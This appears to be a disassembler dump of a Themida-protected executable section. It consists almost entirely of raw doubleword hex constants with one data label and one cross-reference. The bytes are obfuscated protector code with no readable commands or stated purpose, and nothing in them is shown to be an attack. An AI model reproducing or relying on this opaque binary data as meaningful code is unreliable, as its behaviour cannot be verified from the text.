7C895FC3h, 44810424h, 180424h, 57470000h dd 0E4A752C3h, 6E86D5Bh, 9B000000h, 20F7F5C1h, 10E88Fh dd 69300000h, 8718DAE2h, 73CAE9B6h, 57A2A5E0h, 5F5BC5B5h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 618912C3h, 8D01397Eh, 61E1F7Dh, 53D9D0Bh dd 95FF061Eh, 61E21EDh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 55C35141h, 2220B451h, 820Fh, 8D8D0000h dd 62194B6h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 3FC35141h, 48F0Fh, 0BB660000h, 0D1FF9B67h, 5EB8F2BFh dd 2DBD833Eh, 1061E27h, 78850Fh, 0E9570000h, 6, 7A67A03Dh dd 6A5F3C00h, 0CAEB8102h, 90284E22h, 0A62CBB66h, 4800F50h dd 66000000h, 90F288BFh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 0E5C35242h, 0F3F07D5h, 185h, 95FFF500h dd 61E32F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 0F5C35646h, 969871C5h, 0D38166B8h, 72E953E9h, 0E800000Dh dd 0 dd 1CED815Dh, 52062232h, 10E8h, 0AB57F800h, 50985B91h dd 95FBFA2Bh, 52C38BD4h, 0B19D31F4h, 5B061E01h, 50006A5Bh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 6657B159h, 5F6086BFh, 8DFE858Dh, 80600621h, 9D016CEBh dd 61E18E1h, 50605061h, 0F525052h, 0F585A31h, 57BB6631h dd 0E8585A77h, 5, 0ACCD3D6Ch, 9576B963h, 615B4206h, 0BF240489h dd 4D0146C4h, 35FF64h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 9F42C352h dd 5118B489h, 0E95D00E1h, 0Eh, 0ACDBAE84h, 298CD51h, 0AD27E80Ah dd 0B70F7CD2h, 258964FAh, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 82C35646h dd 0E67E04E3h, 330EBE97h, 68D0F8Fh, 2B000000h, 1E0E5D9Dh dd 6810F06h, 8B000000h, 1E03BDBDh, 0EBF38106h, 0FF074C1Eh dd 1E1D9185h, 859D8906h, 6A061E33h, 53006AFFh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 7EB1B876h dd 100D2B09h, 2B99B589h, 0F60061Eh, 28Ch, 89585100h, 1E14518Dh dd 0B5FF6106h, 61E32E5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0A4C35646h, 0AE904h, 0E660000h, 0E64CE7EBh dd 4B74AA05h, 5559D01h, 95FF061Eh, 61E1655h, 10FE9h, 6D9D8B00h dd 0E9061E12h, 6, 97BAF70Fh, 0B0C8E2h, 12E9h, 0C175BA00h dd 9633670Fh, 0FBD675F1h, 0D5B40441h, 0E67FECF0h, 0F7816670h dd 71E42F32h, 0D2CFCB81h, 613C79C7h, 0CE830Fh, 9D090000h dd 61E1439h, 0FC8B60Fh, 6BADABFh, 0E9000000h, 6, 0EE801345h dd 0C18BD9F6h, 0C1F8B70Fh, 8B6604E8h, 79BD23F8h, 66061E31h dd 0BD29E2F7h, 61E2C61h, 0C82BACB7h, 0C3EF8166h, 0E9D18BEAh dd 8, 0EC9A8FA7h, 0FD0DC669h, 6E9h, 699D8B00h, 8B061E07h dd 1E26DD85h, 7C08306h, 83DABF0Fh, 0BD2B00C0h, 61E32D9h dd 830FD03Bh, 6, 53E9h, 8D8BF900h, 61E0459h, 12E8h, 0EB768E00h dd 0A63A22AFh, 52496C0Ch, 721CA512h, 8B0E6D7Ah, 1E14D99Dh dd 95895F06h, 61E1811h, 0F01E183h, 1F84h, 18EF8000h, 459A583h dd 89FE061Eh, 1E29B585h, 0DD958906h, 66061E26h, 0E91AC4BFh dd 0 dd 0C82AB58Dh, 6A0621h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 274459C3h, 0B3B7006Ah, 26C195FFh dd 0BD8B061Eh, 61E04B1h, 7F5B9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0CA9C5C27h dd 9ED13D28h, 19FBBB66h, 0FCE183F5h, 10E850h, 85B60000h dd 79EFD92Bh, 4188017Eh, 8BFFB19Bh, 9EBB4A4Ch, 5F7BCA34h dd 9531FC5Bh, 61E0DB5h, 9589C02Bh, 61E2B61h, 6AD22Bh, 3E850h dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 158FC8C3h, 437AFEBBh, 0C233AD02h, 0D003E8D1h, 7504E983h dd 0E59529F4h, 0B3061E2Dh, 880DDDh, 0B70F0000h, 75958BDFh dd 89061E23h, 1E15519Dh, 8BFA8B06h, 1E324D8Dh, 73BF6606h dd 199D8B01h, 50061E27h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 0B589B5F4h, 61E13BDh, 135D9D8Bh dd 6A061Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0F60D7C3h, 87h, 59BD8300h, 61E02h, 65840Fh dd 8B660000h, 0B8FBh, 0F98B0000h, 4CB88D8Dh, 6A061Eh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 3E1F58C3h, 99AED277h, 89EBF973h, 1E04B18Dh, 599D8B06h dd 0FF061E15h, 55006AE1h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0B57BE0A9h, 8362EB80h dd 1E3169BDh, 840F0006h, 46Ch, 290D8529h, 0BD83061Eh, 61E3169h dd 74840F01h, 80000004h, 0BD837DC3h, 61E3169h, 2E860F03h dd 89000004h, 1E07F9BDh, 45950906h, 60061E20h, 3368E2BBh dd 0D98C6658h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 6BC35545h, 0BD89E939h, 61E1B25h, 6604E180h, 9164D781h dd 840FC90Ah, 1B1h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 5BC35040h, 7E429F35h, 13C58D89h, 11E9061Eh dd 0FB000000h, 391C5A47h, 26119E84h, 4EEEE8BBh, 8553517Ah dd 1A11858Bh, 5657061Eh, 1D75BD0Bh, 5F5B061Eh, 14BD8533h dd 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 509039C3h, 0DE8h, 2F600600h, 0D3FBB850h dd 89EE7D24h, 13E85E75h, 0A1000000h, 0BA49A49Eh, 7F6A66E9h dd 0ABE7A0BDh, 75697D81h, 5B530D3Eh, 66905B5Bh, 946EDF81h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 89BB7DC3h, 1E02F985h, 4E806h, 3FF0000h, 10E9001Fh dd 8F000000h, 97073D2Eh, 6A53A0A9h, 1A98357Ah, 505FECD0h dd 8E953h, 8AC80000h, 98331175h, 8B5B73B8h, 8B042444h dd 0F8F0F00h, 0E8000000h, 7, 170FF170h, 538723D0h, 44895B5Bh dd 870F0424h, 4, 5B616052h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 66526CAEh dd 575BF98Bh, 1E5D9D8Bh, 0FF5F061Eh, 1E144195h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 1BC7544Bh, 8589CD59h, 621B027h, 805BD8Bh, 0F2E9061Eh dd 6A000001h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 458FC355h, 92C40451h, 918589E6h dd 8B061E09h, 1E09A59Dh, 1F858B06h, 0B70621B0h, 1800C767h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 54BAC350h, 8A69A8D4h, 8BB4115Ch dd 21B023B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0AAC45CEFh, 0AE47FF1Dh, 0C9858BF4h dd 6A061E1Ch, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0DC27C351h, 0A5B2584Eh, 6A0689h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 50369DC3h, 89B17D99h, 0A467DB81h, 9D8912E7h, 61E32FDh dd 1A11858Bh, 0D88B061Eh, 8B044689h, 1E122D9Dh, 9EBF9606h dd 504794E6h, 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 99996497h, 0BE984h, 25320000h, 1EE1C7CAh dd 78D38F56h, 1FB5FF0Dh, 10621B0h, 1E16D99Dh, 0E9656806h dd 880F9204h, 4, 6D2FBB66h, 9A240481h, 6A6E1A1Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0DBABC357h, 9D23A1CBh, 61E2929h, 0B027858Dh, 95890621h dd 61E0005h, 909ADB80h, 0DEBB6650h, 0FF99090h, 1B83h, 13E85600h dd 0F0000000h, 0BFAF7E5Fh, 0FE5BFF01h, 0A8743141h, 9E427F89h dd 5F5F3E07h, 144195FFh, 6A061Eh, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0DE090BC3h, 0FF8B33Bh dd 48Fh, 69BF6600h, 13E923h, 9A4E0000h, 9AD28B65h, 0ACD2BDD1h dd 0D5AAACFEh, 0BA326D16h, 0C7F86184h, 1E316985h, 306h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 46E524FBh, 0D0DBD31h, 0BD83061Eh, 621B027h dd 32840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 820CC353h, 126980C4h dd 0F7E636Ah, 87h, 1EE900h, 0BF0F0000h, 0C3050FAh, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 8E9h, 0BB5E2700h dd 0BBE64A60h, 53006AA8h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 5752573Fh, 815B5B5Bh dd 5D4A00C3h, 69BD8371h, 3061E31h, 3E1850Fh, 85890000h dd 61E0C41h, 58F0Fh, 81660000h, 83786ADFh, 21B027BDh, 840F0006h dd 3C3h, 2AF7C781h, 0B5FF411Ch, 621B027h, 1BA5BD8Bh, 95FF061Eh dd 61E1555h, 14E8h, 0F0501700h, 0FF221291h, 13DCFAF2h dd 214C18C9h, 0C744F902h, 6800F8Bh, 8B000000h, 1E0E1D9Dh dd 0B58B5F06h, 621B01Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 0CC35646h, 89075985h, 1E1D698Dh, 106C706h dd 6A000100h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 1D0FC356h, 0EFEC40F2h, 0E9965B72h dd 7, 7E1C510Dh, 50B639CEh, 0D88B6656h, 0B5FF965Bh, 621B027h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 13C35141h dd 4353EEDh, 6E9h, 8AA06A00h, 0FF72C9DDh, 1E2B3D95h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 36F9AF8h, 7C78108h, 8B7EAE2Ah, 21B01BB5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0F4EFD92h, 2BE18589h, 8501061Eh dd 61E3251h, 2A21858Bh, 0F560061Eh, 5E8h, 0F23E2000h, 0BA66E923h dd 615FF8FEh, 14719D01h, 8689061Eh, 0C4h, 38EF8166h, 75958BB0h dd 8B061E23h, 1E2F65BDh, 4C28306h, 0E8E0Fh, 9E90000h, 98000000h dd 0D761843h, 7314F0ADh, 6A205089h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 2B82C352h dd 60EC430Ch, 0BD296B95h, 61E19C9h, 0C4A4858Dh, 0DE8B0621h dd 0B88689h, 0BD890000h, 61E207Dh, 12E8h, 5E4B900h, 68633CF0h dd 846A1DF7h, 0ADB3DE91h, 81555A46h, 15F6B7F3h, 6A5B54h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 98C35242h dd 391F49C3h, 4840Fh, 0BF660000h, 0B5FF4824h, 621B027h dd 8E9h, 8637B100h, 1EDA602Bh, 0DE959h, 24DE0000h, 85661A5Eh dd 0A1D5071Bh, 0FF170AFBh, 1E32F995h, 9611B706h, 0D589BB66h dd 6A9650h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0FF4284C3h, 21B027B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0AE2369A3h dd 0FFE839B8h, 1E304995h, 83DA8B06h, 1E0DB9BDh, 840F0006h dd 6Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h dd 20C35141h, 0ADBD8B01h, 60061E07h, 5E8h, 8CFD1800h, 9D0BF63Fh dd 61E32EDh, 93B0535Eh, 6050615Bh, 52506AB6h, 310F6160h dd 8961585Ah, 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 0E3C0ADC3h, 0FD858942h, 0FF061E03h dd 21B027B5h, 4D95FF06h, 89061E16h, 1E2E29BDh, 27B5FF06h dd 800621B0h, 95FF20D7h, 61E09DDh, 1399D2Bh, 0BD83061Eh dd 61E2BD9h, 5C840F02h, 8B000000h, 0E59D89F9h, 8B061E0Eh dd 1E0E2D85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 0C943D7A2h, 0C12B2D68h, 0C6E065h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 1B0AA7D8h, 199D8BB2h, 0C7061E0Ah, 1E1F8185h dd 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 4C8BFFB1h, 0E9DAB70Fh, 0FFFFF3DBh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 40C35242h dd 279BD8Bh, 8950061Eh, 1E140D85h, 0C18B5F06h, 0DD858DFCh dd 6A061E19h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 7BF0C350h, 52505025h, 0EE8h, 457F8200h dd 2C5F2E41h, 7F61D8CAh, 0E99E772Ah, 13h, 66915C0Ah, 0B3A9D802h dd 0BE7E8C66h, 1B13C697h, 5BAF07C5h, 0E860310Fh, 0Ah, 69B4A899h dd 1D261BDEh, 665E4F43h, 5A61F38Bh, 24048958h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 77C35646h, 6013FA13h dd 68C0Fh, 0B5010000h, 61E2D25h, 61F08B66h, 9D8B006Ah dd 61E3079h, 9589006Ah, 61E0F1Dh, 41CD858Dh, 0F5560622h dd 5C0835Bh, 292DBD2Bh, 5090061Eh, 38B0Fh, 8B660000h, 6A90D9h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 5B04AEC3h, 5DBD894Dh, 6A061E00h, 0C59D8900h, 89061E00h dd 1E25D18Dh, 6A006A06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 8992C356h, 1E010195h dd 0C8D38106h, 0FF04E337h, 1E21ED95h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0E2A47975h, 8B97DB47h, 1E22F5BDh, 0B68D8D06h, 6A062194h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 9784C350h, 0D0E0583Ch, 89F2B5F2h, 1E1A05B5h dd 6AD1FF06h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 492C352h, 7C9784Fh, 83B5A2A3h dd 1E272DBDh, 850F0106h, 89h, 0F1DBD8Bh, 26A061Eh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0DEC35242h, 89A5C16Bh dd 90585E32h, 77C3D7BFh, 6A905056h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0B2A2C350h dd 8980D3D7h, 1E32F1BDh, 0F995FF06h, 6A061E32h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 763EC350h, 0C1BD89DBh, 89061E22h, 1E1B7995h, 0E5BE906h dd 0E80000h, 5D000000h, 41D7ED81h, 9D8B0622h, 61E1BD5h dd 6AB7D380h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0FEB0C353h, 0C98D31C8h, 8D061E19h dd 218DFE85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 81550A01h, 669C0FCBh, 66BB9015h dd 50284692h, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 98C3D907h, 6F2CB4BFh, 35BD8B6Bh dd 64061E0Eh, 35FFh, 9D8B0000h, 61E05A5h, 258964h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 1B03C353h, 0C77FF495h, 8B0F141Ch, 0FFFB8BFEh dd 1E1D9185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0C868EDDh, 36E154Ch, 8509FF6Ah, 61E03EDh dd 12E9h, 1A453E00h, 4FE9F5FBh, 5CE91017h, 379765BEh, 0FF67A41Ch dd 1E19CDB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 1A18D7C1h, 29118D89h, 95FF061Eh dd 61E1655h, 15CE9h, 0E5BF6600h, 0FBB70F9Bh, 858900B0h dd 61E1DF9h, 9D8B70E6h, 61E13BDh, 9D8B71E4h, 61E1D2Dh dd 9A6ABB66h, 830F613Ch, 131h, 0CE9h, 5EE37C00h, 2E53E41Fh dd 0F8005639h, 0C8B60FE2h, 8C0Fh, 6BA0000h, 8B000000h dd 1E172D9Dh, 89C18B06h, 1E0F418Dh, 0BDBD8906h, 0C1061E01h dd 8C0F04E8h, 0Ch, 6850Fh, 870F0000h, 0 dd 0E9E2F766h, 11h, 0D1A18BC2h, 0E6F0EF1Ah, 6A7D421h, 0F9C25AD5h dd 60C82B84h, 0FF18B66h, 8B61CBBFh, 0FE860D1h, 95000000h dd 36B301Dh, 8A086D24h, 225FAB5h, 5FF93ED5h, 6663D6B9h dd 29E96124h, 0E8000000h, 0Dh, 1A3404C1h, 7CF98AF4h, 5E52DD3Dh dd 10820FF8h, 0E9000000h, 0Bh, 943B7952h, 0C67742EEh, 5F143C73h dd 19B9858Bh, 7E9061Eh, 71000000h, 0AC28D3BFh, 0C083D0ACh dd 0C08307h, 26F98D31h, 0D03B061Eh, 15830Fh, 0D7810000h dd 2B07FCCBh, 48E9h, 8B505200h, 1E06499Dh, 8B5B5B06h, 1E07F58Dh dd 0C3816606h, 0E183AA71h, 2A840F01h, 0F000000h, 687h dd 0A19D8B00h, 83061E33h, 1E07F5A5h, 0B529FE06h, 61E2EA1h dd 19B99589h, 9D01061Eh, 61E02EDh, 0E9h, 3FB58D00h, 0F0621D2h dd 6ADEBFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0ECC35646h, 0FFF83B0Dh, 1E26C195h, 0DEB70F06h dd 0EBCB9h, 0E0CB8100h, 830AC902h, 0BD8BFCE1h, 61E29B5h dd 0CE9h, 1A94C700h, 0E29CF454h, 177FC4CFh, 890FFC40h dd 0Ch, 68F0Fh, 0B5290000h, 61E0891h, 0B8h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 5924EF4Eh, 6DCDFC0h, 0B70F9E8Ch, 0DE8B66D9h, 0BD8BD22Bh dd 61E180Dh, 5830Fh, 81660000h, 0AD5B8AC3h, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 0EED2C351h, 0D48C44B0h dd 6A108220h, 6830Fh, 9D8B0000h, 61E2AFDh, 32BD8589h, 6A061Eh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0BE3BBBC3h, 4EFAF44Ah, 69E3810Eh, 0D5CC364h, 88h, 2DBD9D8Bh dd 0EE9061Eh, 22000000h, 0CD429C54h, 0AB5BFA8Bh, 0FDD4875h dd 75958BA3h, 81061E23h, 227FD5EFh, 4D8D8B6Ch, 6A061E32h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 9FA0C357h, 85292907h, 61E2D55h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 81665818h, 0E96F8CDFh dd 14h, 927C437h, 747780D2h, 46F2F346h, 0ABD5B1D1h, 70706B1Fh dd 21F19D89h, 0BD83061Eh, 61E0259h, 0A8840F00h, 0F000000h dd 68Bh, 65BD2B00h, 0B8061E1Ah, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 94C35040h dd 0C7B96E2Bh, 23D3E866h, 4CB88D8Dh, 6A061Eh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 12E846C3h dd 61000000h, 767AB50Ah, 27DD303Fh, 1157AEC8h, 264592BDh dd 10E95297h, 97000000h, 43A4C8BDh, 2CCA8884h, 3E922C07h dd 5B6EE40Ch, 6AE1FF5Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 9C8CC355h, 8375CC1Ah dd 1E3169BDh, 840F0006h, 448h, 9E8h, 0F2230D00h, 329B6C16h dd 11E92048h, 1F000000h, 0BFBDCCC2h, 9804750Fh, 0D07FA7B3h dd 0EBBDE01Bh, 69BD835Bh, 1061E31h, 431840Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 548BE7C3h, 69BD83F5h, 3061E31h, 3CF860Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 7F65D6C3h, 1923220Eh, 6A606Ch, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 1ABA90C3h, 8BE034FAh dd 1E26F99Dh, 0D98C6606h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 0BAC35242h, 9D29642Ah, 61E1941h, 6A04E180h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 3EB2C352h, 1EF29B2Ch, 840FC90Ah, 0F9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 99C35040h, 10E8h dd 15D6F700h, 5F14ACF0h, 39C21AF2h, 3F6BDCB2h, 959D09DFh dd 5B061E12h, 0ABD5BF66h, 1A11858Bh, 9501061Eh, 61E0111h dd 14BD8533h, 0BD8B061Eh, 61E00D1h, 2FD99D09h, 6650061Eh dd 89E1F9BFh, 860F2404h, 0 dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0FCE0D4C3h, 0DCCA9805h, 3860Fh, 8B660000h dd 0A09B68DAh, 0FA8B44EDh, 64243481h, 6044F2A3h, 22E2BA66h dd 6880F61h, 89000000h, 1E02ADB5h, 4195FF06h, 89061E14h dd 21B02785h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 0BD29601Ah, 61E0255h, 698D2961h dd 0F061E0Dh, 0BAE9DBBFh, 89000001h, 1E32E18Dh, 1F858B06h dd 810621B0h, 871242E7h, 1800C768h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 96FFC351h, 6BE7E0E5h, 8B7C4E18h, 21B023B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0B3F6B8A5h, 18CB80C5h, 1CC9858Bh, 6A061Eh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 0DD6253C3h dd 11E98C51h, 97000000h, 0A6485814h, 9C295AA2h, 77E13E01h dd 7DD2949Fh, 689FB8Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0FAC35545h, 1A5CA552h, 0C19D8B60h, 8B061E05h dd 1E1BC19Dh, 858B6106h, 61E1A11h, 2FE9EB81h, 46895D9Bh dd 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 6093E45Fh, 2E418D89h, 9529061Eh, 61E2A09h dd 34895061h, 0EEEB8124h, 0FF0C7637h, 21B01FB5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8B9C1839h, 1E1F29BDh, 43ED6806h, 850F1166h, 4, 3EF0BF66h dd 12243481h, 8B117940h, 1E0DA1BDh, 27858D06h, 6A0621B0h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 6111C353h, 6AEFB476h, 8950EBBEh, 6A2404h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 3E3613C3h, 6699DC48h, 0F8C2FABBh, 144195FFh, 0B70F061Eh dd 6A61FEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 85C761C3h, 61E3169h, 3, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 68C35242h, 840F07h, 83000000h dd 21B027BDh, 840F0006h, 2Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 0DAC35747h, 0BB6647F2h, 21E98CD4h dd 0B000000h, 1E2B919Dh, 0C305006h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 2AC35646h, 97E30338h, 4E0CC895h, 1925BD8Bh dd 6A061Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0DE7FB5C3h, 4D6739D1h, 27BB66ADh, 0D8BF662Fh dd 69BD83FEh, 3061E31h, 418850Fh, 0BD890000h, 61E18F5h dd 0B027BD83h, 0F000621h, 40584h, 319D8900h, 0FF061E15h dd 21B027B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 8BA34D55h, 5595FFFEh, 6A061E15h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 9E6AC355h, 8166E6BFh, 8B35A5C7h, 21B01BB5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 6C72EBEh, 10001h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 1EC35646h, 6621FB76h, 5250DA8Bh dd 895F5B51h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0FF4237C3h, 21B027B5h, 3DB58906h dd 0FF061E16h, 1E2B3D95h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0AEA823A3h dd 518D8977h, 8B061E2Ah, 21B01BB5h, 21858B06h, 6A061E2Ah dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0B857C355h, 830F60h, 0F8000000h, 80C38061h dd 0C48689h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 958B4DC3h, 61E2375h, 9F98B66h, 1E21E99Dh dd 4C28306h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0CEC35040h, 31BD8BD6h, 56061E17h, 2890Fh, 0F98B0000h dd 2050895Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 0E0C35242h dword_573B68 dd 4DAC5723h, 3315C894h, 1E2F6D9Dh, 0A4858D06h, 6A0621C4h ; DATA XREF: Themida_:0053D572o dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0C274C356h, 0FFCE283h, 0F5DABF0Fh, 0B88689h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 3A1259C3h, 0A2DFE6B6h, 0CF81006Ah, 5D195A30h dd 0B027B5FFh, 6A0621h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0D2DC6BC3h, 9705A595h, 0F995FFD7h dd 6A061E32h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 0FA6EC350h, 